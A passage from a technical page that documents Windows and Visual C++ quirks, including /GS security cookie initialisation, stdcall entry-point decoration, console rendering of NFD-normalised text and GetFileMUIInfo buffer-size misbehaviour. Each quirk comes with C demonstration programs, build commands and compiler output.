if (GetConsoleWindow() != NULL)
ConsoleCookie(__LPREFIX(__FUNCDNAME__), __security_cookie);
else
WindowsCookie(__LPREFIX(__FUNCDNAME__), __security_cookie);
return TRUE;
}
#else // _DLL
#ifdef CONSOLE
__declspec(dllimport)
BOOL WINAPI ConsoleCookie(LPCWSTR lpFunction, DWORD_PTR gsCookie);
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
ConsoleCookie(__LPREFIX(__FUNCDNAME__), __security_cookie);
ExitProcess(GetLastError());
}
#else // CONSOLE
__declspec(dllimport)
BOOL WINAPI WindowsCookie(LPCWSTR lpFunction, DWORD_PTR gsCookie);
__declspec(noreturn)
VOID CDECL wWinMainCRTStartup(VOID)
{
WindowsCookie(__LPREFIX(__FUNCDNAME__), __security_cookie);
ExitProcess(GetLastError());
}
#endif // CONSOLE
#endif // _DLL
Build the
DLL
quirk24.dll
and its import library
quirk24.lib
from the source file quirk24.c
created in step 1.:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/MACHINE:I386 /NODEFAULTLIB CL.EXE /LD /MD quirk24.c kernel32.lib user32.libFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk24.dll
is a pure
Win32
DLL
and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk24.c quirk24.c(27) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'DWORD_PTR *' quirk24.c(28) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'LPVOID *' quirk24.c(29) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'BYTE *' quirk24.c(116) : warning C4100: 'lpReserved' : unreferenced formal parameter quirk24.c(116) : warning C4100: 'hModule' : unreferenced formal parameter Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /MACHINE:I386 /NODEFAULTLIB /out:quirk24.dll /dll /implib:quirk24.lib quirk24.obj kernel32.lib user32.lib Creating library quirk24.lib and object quirk24.exp
Build the console application quirk24.com
from the
source file quirk24.c
created in step 1. with the
preprocessor macro CONSOLE
defined, using the import
library quirk24.lib
generated in step 2.:
SET LINK=/ENTRY:wmainCRTStartup /MACHINE:I386 /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE /DCONSOLE /Fequirk24.com quirk24.c quirk24.lib kernel32.lib user32.libNote:
quirk24.com
is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk24.c quirk24.c(27) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'DWORD_PTR *' quirk24.c(28) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'LPVOID *' quirk24.c(29) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'BYTE *' Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /MACHINE:I386 /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk24.com quirk24.obj quirk24.lib kernel32.lib user32.lib
Build the application quirk24.exe
from the source file
quirk24.c
created in step 1. with the
preprocessor macro ZERO
defined:
SET LINK=/ENTRY:wWinMainCRTStartup /MACHINE:I386 /NODEFAULTLIB /SUBSYSTEM:WINDOWS CL.EXE /DZERO quirk24.c quirk24.lib kernel32.lib user32.lib
Note: quirk24.exe
is a pure
Win32 application and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk24.c quirk24.c(27) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'DWORD_PTR *' quirk24.c(28) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'LPVOID *' quirk24.c(29) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'BYTE *' Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wWinMainCRTStartup /MACHINE:I386 /NODEFAULTLIB /SUBSYSTEM:WINDOWS /out:quirk24.exe quirk24.obj quirk24.lib kernel32.lib user32.lib
�
.\quirk24.com .\quirk24.exe CONTROL.EXE "%CD%\quirk24.dll"
__DllMainCRTStartup@12 entry point: /GS security cookie initialised as 0xC97D2381 _wmainCRTStartup entry point: /GS security cookie initialised as 0xAB5E5CC5
Repeat the previous four steps 2. to 5. to build
quirk24.dll
, quirk24.com
and
quirk24.exe
for the x64 alias
AMD64 processor architecture and execute them:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/MACHINE:AMD64 /NODEFAULTLIB CL.EXE /LD /MD quirk24.c kernel32.lib user32.lib SET LINK=/ENTRY:wmainCRTStartup /MACHINE:AMD64 /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE /DCONSOLE /Fequirk24.com quirk24.c quirk24.lib kernel32.lib user32.lib SET LINK=/ENTRY:wWinMainCRTStartup /MACHINE:AMD64 /NODEFAULTLIB /SUBSYSTEM:WINDOWS CL.EXE /DZERO quirk24.c quirk24.lib kernel32.lib user32.lib .\quirk24.com .\quirk24.exe CONTROL.EXE "%CD%\quirk24.dll"Note: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) C/C++ Optimizing Compiler Version 16.00.40219.01 for x64 Copyright (C) Microsoft Corporation. All rights reserved. quirk24.c quirk24.c(45) : warning C4047: 'initializing' : 'ULONGLONG' differs in levels of indirection from 'DWORD_PTR *' quirk24.c(116) : warning C4100: 'lpReserved' : unreferenced formal parameter quirk24.c(116) : warning C4100: 'hModule' : unreferenced formal parameter Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /MACHINE:AMD64 /NODEFAULTLIB /out:quirk24.dll /dll /implib:quirk24.lib quirk24.obj kernel32.lib user32.lib Creating library quirk24.lib and object quirk24.exp Microsoft (R) C/C++ Optimizing Compiler Version 16.00.40219.01 for x64 Copyright (C) Microsoft Corporation. All rights reserved. quirk24.c quirk24.c(45) : warning C4047: 'initializing' : 'ULONGLONG' differs in levels of indirection from 'DWORD_PTR *' Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /MACHINE:AMD64 /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk24.com quirk24.obj quirk24.lib kernel32.lib user32.lib Microsoft (R) C/C++ Optimizing Compiler Version 16.00.40219.01 for x64 Copyright (C) Microsoft Corporation. All rights reserved. quirk24.c quirk24.c(45) : warning C4047: 'initializing' : 'ULONGLONG' differs in levels of indirection from 'DWORD_PTR *' Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wWinMainCRTStartup /MACHINE:AMD64 /NODEFAULTLIB /SUBSYSTEM:WINDOWS /out:quirk24.exe quirk24.obj quirk24.lib kernel32.lib user32.lib _DllMainCRTStartup entry point: /GS security cookie NOT initialised! wmainCRTStartup entry point: /GS security cookie NOT initialised!Oops: &65533;
The /ENTRY option specifies an entry point function as the starting address for an .exe file or DLL.Note: theThe function must be defined to use the
__stdcall
calling convention. The parameters and return value depend on if the program is a console application, a windows application or a DLL. It is recommended that you let the linker set the entry point so that the C run-time library is initialized correctly, and C++ constructors for static objects are executed.By default, the starting address is a function name from the C run-time library. The linker selects it according to the attributes of the program, as shown in the following table.
Function name Default for mainCRTStartup
(or wmainCRTStartup)An application that uses /SUBSYSTEM:CONSOLE; calls main
(orwmain
)WinMainCRTStartup
(or wWinMainCRTStartup)An application that uses /SUBSYSTEM:WINDOWS; calls WinMain
(orwWinMain
), which must be defined to use__stdcall
_DllMainCRTStartup A DLL; calls DllMain
if it exists, which must be defined to use__stdcall
If the /DLL or /SUBSYSTEM option is not specified, the linker selects a subsystem and entry point depending on whether
main
orWinMain
is defined.The functions
main
,WinMain
, andDllMain
are the three forms of the user-defined entry point.
main()
function always uses
the __cdecl
calling and naming convention!
Argument Passing and Naming Convention Overview of x64 Calling Conventions __declspec __restrict __sptr, __uptr __unaligned Decorated Names Using Decorated Names Viewing Decorated Names Format of a C++ Decorated Name The MSDN article Format of a C Decorated Name specifies:
The MSDN articles __cdecl and __stdcall provide more details. __fastcall __vectorcall Calling ConventionsThe form of decoration for a C function depends on the calling convention used in its declaration, as shown below. Note that in a 64-bit environment, functions are not decorated.
Calling convention Decoration __cdecl (the default) Leading underscore (_) __stdcall Leading underscore (_) and a trailing at sign (@) followed by a number representing the number of bytes in the parameter list __fastcall Same as __stdcall, but prepended by an at sign instead of an underscore __vectorcall Two trailing at signs (@@) followed by the decimal number of bytes in the parameter list.
Create the text file quirk25.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2024, Stefan Kanthak <stefan.kanthak@nexgo.de>
#ifdef QUIRKS
#define NULL (void *) 0
extern int main(int argc, char *argv[], char *envp[]);
int QUIRKS mainCRTStartup(void)
{
static char *argv[] = {"Quirk25", __FUNCDNAME__, NULL};
static char *envp[] = {NULL};
return main(sizeof(argv) / sizeof(*argv) - 1, argv, envp);
}
#else
int main(int argc, char *argv[], char *envp[])
{
return argc;
}
#endif // QUIRKS
Compile the source file quirk25.c
created in
step 1., first with the preprocessor macro QUIRKS
defined as __stdcall
to generate the object file
quirk25.obj
for the mainCRTStartup()
function and put it in the object library quirk25.lib
,
then again to generate the object file quirk25.obj
for
the main()
function and link it against the library
quirk25.lib
to build the console application
quirk25.exe
:
SET CL=/GAFy /Oisy /W4 /X /Zl SET LINK=/MACHINE:I386 /NODEFAULTLIB CL.EXE /c /DQUIRKS=__stdcall quirk25.c LINK.EXE /LIB quirk25.obj CL.EXE /c quirk25.c LINK.EXE /LINK quirk25.obj quirk25.lib/D (Preprocessor Definitions) For details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk25.exe
is a pure
Win32 console application and builds without the
MSVCRT
libraries – eventually.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
Copyright (C) Microsoft Corporation. All rights reserved.
quirk25.c
Microsoft (R) Library Manager Version 10.00.40219.386
Copyright (C) Microsoft Corporation. All rights reserved.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
Copyright (C) Microsoft Corporation. All rights reserved.
quirk25.c
quirk25.c(16) : warning C4100: 'envp' : unreferenced formal parameter
quirk25.c(16) : warning C4100: 'argv' : unreferenced formal parameter
Microsoft (R) Incremental Linker Version 10.00.40219.386
Copyright (C) Microsoft Corporation. All rights reserved.
/MACHINE:I386 /NODEFAULTLIB
LINK : error LNK2001: unresolved external symbol _mainCRTStartup
quirk25.exe : fatal error LNK1120: 1 unresolved externals
Ouch: functions defined to use the
__stdcall
calling convention get their name
decoratedwith an at sign and the total size of their arguments;
Link.exe
but references the name decoratedper
__cdecl
calling convention!
Link the console application quirk25.exe
using the
decorated
name of the mainCRTStartup()
function
and execute it:
LINK.EXE /LINK /ENTRY:mainCRTStartup@0 quirk25.obj quirk25.lib .\quirk25.exe ECHO %ERRORLEVEL%
Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /MACHINE:I386 /NODEFAULTLIB 2
QUIRKS
defined as empty or
__cdecl
is left as an exercise to the reader.
Use the Four Defined Normalization Forms:
The Unicode Consortium has defined four normalization forms: NFC (form C), NFD (form D), NFKC (form KC), and NFKD (form KD). Each form eliminates some differences but preserves case. Win32 and the .NET Framework support all four normalization forms.[…]
The NLS enumeration type NORM_FORM supports the four standard Unicode normalization forms. Forms C and D provide canonical forms for strings. Non-canonical forms KC and KD provide further compatibility, and can reveal certain semantic equivalences that are not apparent in forms C and D. However, they do so at the expense of a certain loss of information, and generally should not be used as a canonical way to store strings.
Of the two canonical forms, form C is a "composed" form and form D is a "decomposed" form. For example, form C uses the single Unicode code point "Ä" (U+00C4), while form D uses ("A" + "¨", that is U+0041 U+0308). These render identically, because "¨" (U+0308) is a combining character. Form D can use any number of code points to represent a single code point used by form C.
If two strings are identical in either form C or form D, they are identical in the other form. Furthermore, when correctly rendered, they display indistinguishably from one another and from the original non-normalized string.
Create the
UTF-16LE
encoded text file
quirk29.txt
containing the extended characters of
Code Page 1252
in form C in the first line and in form D in the second line in an
arbitrary, preferable empty directory:
€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ
€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ
Note: with the leading
Byte Order Mark
U+FEFF
, the
intermediate and the trailing
CR/LF
pairs the file quirk29.txt
contains 309
Unicode
characters in 618 bytes.
Display the file quirk29.txt
using the internal
Type
command:
TYPE quirk29c.txt
€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ €‚ƒ„…†‡ˆ‰S□‹ŒZ□‘’“”•–—˜™s□›œz□Y□ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿A□A□A□A□A□A□ÆC□E□E□E□E□I□I□I□I□ÐN□O□O□O□O□O□×ØU□U□U□U□Y□Þßa□a□a□a□a□a□æc□e□e□e□e□i□i□i□i□ðn□o□o□o□o□o□÷øu□u□u□u□y□þy□OUCH: contrary to the highlighted statements of the documentation cited above, normalisation form D is not correctly rendered – all (58) decomposed characters with combining code points are displayed wrong using 2 glyphs!
Create the
UTF-16LE
NFC
encoded text file
quirk29c.txt
containing the extended characters of
Code Page 1252
in an arbitrary, preferable empty directory:
€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ
Note: with the leading
Byte Order Mark
U+FEFF
and the
trailing
CR/LF
pair the file quirk29c.txt
contains 126
Unicode
characters in 252 bytes.
Display the file quirk29c.txt
using the internal
Type
command:
TYPE quirk29c.txt
€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ
Create the
UTF-16LE
NFD
encoded text file
quirk29d.txt
containing the extended characters of
Code Page 1252
in the same directory:
€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ
Note: with the leading
Byte Order Mark
U+FEFF
and the
trailing
CR/LF
the file quirk29d.txt
contains 184
Unicode
characters in 368 bytes.
Display the file quirk29d.txt
using the internal
Type
command:
TYPE quirk29d.txt
€‚ƒ„…†‡ˆ‰S□‹ŒZ□‘’“”•–—˜™s□›œz□Y□ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿A□A□A□A□A□A□ÆC□E□E□E□E□I□I□I□I□ÐN□O□O□O□O□O□×ØU□U□U□U□Y□Þßa□a□a□a□a□a□æc□e□e□e□e□i□i□i□i□ðn□o□o□o□o□o□÷øu□u□u□u□y□þy□OUCH: contrary to the highlighted statements of the documentation cited above, normalisation form D is not correctly rendered – all (58) decomposed characters with combining code points are displayed wrong using 2 glyphs!
Create the text file quirk29.c
with the following
content:
// Copyright © 2004-2024, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#define CP1252 L"€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\n"
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
UINT uiANSI;
CHAR szANSI[333];
WCHAR szWide[222];
INT niWide;
DWORD dwError = ERROR_SUCCESS;
DWORD dwConsole;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
if (!IsNormalizedString(NormalizationC,
CP1252, sizeof(CP1252) / sizeof(*CP1252)))
PrintConsole(hConsole,
L"IsNormalizedString() returned error %lu\n",
dwError = GetLastError());
if (!WriteConsole(hConsole, CP1252, sizeof(CP1252) / sizeof(*CP1252) - 1, &dwConsole, NULL))
PrintConsole(hConsole,
L"WriteConsole() returned error %lu\n",
dwError = GetLastError());
else if (dwConsole != sizeof(CP1252) / sizeof(*CP1252) - 1)
PrintConsole(hConsole,
L"WriteConsole() wrote %lu of %lu wide characters\n",
dwConsole, sizeof(CP1252) / sizeof(*CP1252) - 1);
niWide = NormalizeString(NormalizationD,
CP1252, sizeof(CP1252) / sizeof(*CP1252),
szWide, sizeof(szWide) / sizeof(*szWide));
if (--niWide < 0)
PrintConsole(hConsole,
L"NormalizeString() returned error %lu\n",
dwError = GetLastError());
else
if (!WriteConsole(hConsole, szWide, niWide, &dwConsole, NULL))
PrintConsole(hConsole,
L"WriteConsole() returned error %lu\n",
dwError = GetLastError());
else if (dwConsole != niWide)
PrintConsole(hConsole,
L"WriteConsole() wrote %lu of %lu wide characters\n",
dwConsole, niWide);
if ((GetACP() == CP_UTF8)
&& (GetOEMCP() == CP_UTF8))
{
uiANSI = WideCharToMultiByte(CP_UTF8,
WC_ERR_INVALID_CHARS,
szWide, niWide,
szANSI, sizeof(szANSI),
(LPCCH) NULL, (LPBOOL) NULL);
if (uiANSI == 0)
PrintConsole(hConsole,
L"WideCharToMultiByte() returned error %lu\n",
dwError = GetLastError());
else
{
if (!WriteConsoleA(hConsole, szANSI, uiANSI, &dwConsole, NULL))
PrintConsole(hConsole,
L"WriteConsoleA() returned error %lu\n",
dwError = GetLastError());
else if (dwConsole != uiANSI)
PrintConsole(hConsole,
L"WriteConsoleA() wrote %lu of %lu characters\n",
dwConsole, uiANSI);
if (!WriteFile(hConsole, szANSI, uiANSI, &dwConsole, (LPOVERLAPPED) NULL))
PrintConsole(hConsole,
L"WriteFile() returned error %lu\n",
dwError = GetLastError());
else if (dwConsole != uiANSI)
PrintConsole(hConsole,
L"WriteFile() wrote %lu of %lu characters\n",
dwConsole, uiANSI);
}
}
if (!CloseHandle(hConsole))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
ExitProcess(dwError);
}
Build the console application quirk29.exe
from the
source file quirk29.c
created in step 5.:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE quirk29.c kernel32.lib user32.libFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk29.exe
is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk29.c quirk29.c(77) : warning C4389: '!=' : signed/unsigned mismatch Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk29.exe quirk29.obj kernel32.lib user32.lib
Execute the console application quirk29.exe
built in
step 6. to demonstrate the (mis)behaviour:
.\quirk29.exe
€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ €‚ƒ„…†‡ˆ‰S□‹ŒZ□‘’“”•–—˜™s□›œz□Y□ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿A□A□A□A□A□A□ÆC□E□E□E□E□I□I□I□I□ÐN□O□O□O□O□O□×ØU□U□U□U□Y□Þßa□a□a□a□a□a□æc□e□e□e□e□i□i□i□i□ðn□o□o□o□o□o□÷øu□u□u□u□y□þy□OUCH: contrary to the highlighted statements of the documentation cited above, normalisation form D is not correctly rendered – all (58) decomposed characters with combining code points are displayed wrong using 2 glyphs!
SetConsoleTitleW()
,
WriteConsoleOutputW()
and
WriteConsoleOutputCharacterW()
is left as an exercise to the reader.
Note: an evaluation of the (mis)behaviour (and
bugs) with the Win32 functions
SetConsoleTitleA()
,
WriteConsoleA()
,
WriteConsoleOutputA()
,
WriteConsoleOutputCharacterA()
and
WriteFile()
when the system’s (global)
ANSI
and OEM
code pages are set to 65001 alias CP_UTF8
is also left
as an exercise to the reader.
Note: an evaluation of the behaviour
with (low-level) Win32 functions like
DrawText()
,
DrawTextEx()
,
ExtTextOut()
,
GrayString()
,
PolyTextOut()
,
TabbedTextOut()
TabbedTextOut()
and
TextOut()
or (high-level) Win32 functions like
CreateWindowEx()
,
MessageBox()
,
MessageBoxEx()
,
MessageBoxIndirect()
,
MessageBoxTimeout()
,
SetConsoleTitle()
and
SetWindowText()
is also left as an exercise to the reader.
Note: a repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.
GetFileMUIInfo()
is documented in the
MSDN as
follows:
Retrieves resource-related information about a file.The description of its behaviour is but wrong and misleading![…]BOOL GetFileMUIInfo( DWORD dwFlags, PCWSTR pcwszFilePath, PFILEMUIINFO pFileMUIInfo, DWORD *pcbFileMUIInfo );
pFileMUIInfo
[…]
Alternatively, the application can set this parameter to NULL if pcbFileMUIInfo is set to 0. In this case, the function retrieves the required size for the information buffer in pcbFileMUIInfo.
[…]
pcbFileMUIInfo
[…]
Alternatively, the application can set this parameter to 0 if it sets NULL in pFileMUIInfo. In this case, the function retrieves the required file information buffer size in pcbFileMUIInfo. To allocate the correct amount of memory, this value should be added to the size of theFILEMUIINFO
structure itself.
The initial call of
GetFileMUIInfo()
for any module, with address and size of the buffer given as
NULL
and 0, fails (expected and intended) with
Win32 error code 122 alias
ERROR_INSUFFICIENT_BUFFER
,
but always returns 84 as (additional) buffer size;
subsequent calls then return the full buffer size.
The returned (additional or full) buffer size is but not always
sufficient; subsequent calls can fail again with Win32
error 122 alias ERROR_INSUFFICIENT_BUFFER
, so
additional calls with the buffer size returned from the previous
call are then necessary until the call finally succeeds!
Note: implemented properly, the first call would return the correct (full) buffer size and grant a successful second call, as documented (for example) in the MSDN article Retrieving Data of Unknown Length!
Create the text file quirk30.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2009-2024, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
const WCHAR szModule[] = L"C:\\Windows\\RegEdit.exe";
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
PFILEMUIINFO lpFileMUIInfo = NULL;
DWORD dwFileMUIInfo = 0;
DWORD dwError;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
if (GetFileMUIInfo(MUI_QUERY_CHECKSUM | MUI_QUERY_LANGUAGE_NAME | MUI_QUERY_RESOURCE_TYPES | MUI_QUERY_TYPE,
szModule, lpFileMUIInfo, &dwFileMUIInfo))
PrintConsole(hConsole,
L"GetFileMUIInfo() returned success %lu and buffer size %lu for module \'%ls\'\n",
dwError = GetLastError(), dwFileMUIInfo, szModule);
else
{
PrintConsole(hConsole,
L"GetFileMUIInfo() returned error %lu and buffer size %lu for module \'%ls\'\n",
dwError = GetLastError(), dwFileMUIInfo, szModule);
dwFileMUIInfo += sizeof(FILEMUIINFO);
while (dwError == ERROR_INSUFFICIENT_BUFFER)
{
lpFileMUIInfo = LocalAlloc(LPTR, dwFileMUIInfo);
if (lpFileMUIInfo == NULL)
PrintConsole(hConsole,
L"LocalAlloc() returned error %lu\n",
dwError = GetLastError());
else
{
lpFileMUIInfo->dwSize = dwFileMUIInfo;
lpFileMUIInfo->dwVersion = MUI_FILEINFO_VERSION;
if (GetFileMUIInfo(MUI_QUERY_CHECKSUM | MUI_QUERY_LANGUAGE_NAME | MUI_QUERY_RESOURCE_TYPES | MUI_QUERY_TYPE,
szModule, lpFileMUIInfo, &dwFileMUIInfo))
PrintConsole(hConsole,
L"GetFileMUIInfo() returned success %lu and buffer size %lu for module \'%ls\'\n",
dwError = GetLastError(), dwFileMUIInfo, szModule);
else
PrintConsole(hConsole,
L"GetFileMUIInfo() returned error %lu and buffer size %lu for module \'%ls\'\n",
dwError = GetLastError(), dwFileMUIInfo, szModule);
if (LocalFree(lpFileMUIInfo) != NULL)
PrintConsole(hConsole,
L"LocalFree() returned error %lu\n",
dwError = GetLastError());
}
}
}
if (!CloseHandle(hConsole))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
ExitProcess(dwError);
}
Build the console application quirk30.exe
from the
source file quirk30.c
created in step 1.:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE quirk30.c kernel32.lib user32.libFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk30.exe
is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk30.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk30.exe quirk30.obj kernel32.lib user32.lib
Execute the console application quirk30.exe
built in
step 2. to demonstrate the (mis)behaviour of the
Win32 function
GetFileMUIInfo()
:
.\quirk30.exe
GetFileMUIInfo() returned error 122 and buffer size 84 for module 'C:\Windows\RegEdit.exe' GetFileMUIInfo() returned error 122 and buffer size 166 for module 'C:\Windows\RegEdit.exe' GetFileMUIInfo() returned error 122 and buffer size 180 for module 'C:\Windows\RegEdit.exe' GetFileMUIInfo() returned success 0 and buffer size 180 for module 'C:\Windows\RegEdit.exe'
GetDateFormat()
,
GetTimeFormat()
,
GetDateFormatEx()
and
GetTimeFormatEx()
are documented in the
MSDN as
follows:
Formats a date as a date string for a locale specified by the locale identifier. The function formats either a specified date or the local system date.[…]
[…]int GetDateFormat( LCID Locale, DWORD dwFlags, const SYSTEMTIME *lpDate, LPCTSTR lpFormat, LPTSTR lpDateStr, int cchDate );
